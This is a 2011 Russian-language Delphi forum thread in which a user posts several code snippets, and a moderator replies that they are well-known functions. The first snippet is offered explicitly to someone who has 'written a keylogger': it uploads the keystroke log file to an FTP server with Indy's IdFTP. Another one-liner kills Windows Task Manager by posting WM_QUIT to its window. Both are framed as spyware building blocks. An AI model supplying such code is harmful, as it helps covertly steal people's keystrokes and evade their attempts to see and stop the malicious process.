Среда, 17.10.2018, 02:36 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Anton93  
delfcode » Delphi » Процедуры и функции Delphi » Пару примеров!
Пару примеров!
cool1Дата: Четверг, 10.02.2011, 16:02 | Сообщение # 1
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
Вы написали кейлоггер! Вам нужно отправить лог на фтп сервак? Вот и решение:
Code

IdFTP.Host := 'Host name'; // указываем хост FTP сервера
IdFTP.Port := 21; // указываем порт FTP сервера (по умолчанию 21)
IdFTP.Username := 'Login'; // указываем логин FTP сервера
IdFTP.Password := 'Pass'; // указываем пароль FTP сервера
IdFTP.Connect; // соединяемся с  FTP сервером
IdFTP.Put('log.txt', 'log.txt', False); // отправляем файл FTP серверу
IdFTP.Disconnect; // отсоединяемся от FTP сервера

Компонент: IdFTP
Все!
А вот еще убиваем диспетчера
Code

PostMessage(FindWindow(Nil, 'Диспетчер задач Windows'), WM_QUIT, 0, 0);

Порверяем существует файл на диске или нет?
Code

var
FileName : string;
begin
FileName := 'С:\prog.exe';
if FileExists(FileName) then
ShowMessage('Файл существует')
else
ShowMessage('Файл не существует')
end;

biggrin biggrin biggrin
Как программно открыть файл или папку. (ShellAPI)!
Code
ShellExecute(Handle,'Open',Pchar('C:\file.exe),nil,nil,1);

УВСЕ!
biggrin biggrin biggrin
Зэ ЭНД?



За помощь ставьте +!
 
C@TДата: Четверг, 10.02.2011, 20:47 | Сообщение # 2
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
а можно выкладывать что то новое или по другому реализованное старое, а то форум и так переполнен всеми известными функциями
да и код отправки на FTP добавляет много размера


 
delfcode » Delphi » Процедуры и функции Delphi » Пару примеров!
  • Страница 1 из 1
  • 1
Поиск:

delfcode.ru © 2008 - 2018 Хостинг от uCoz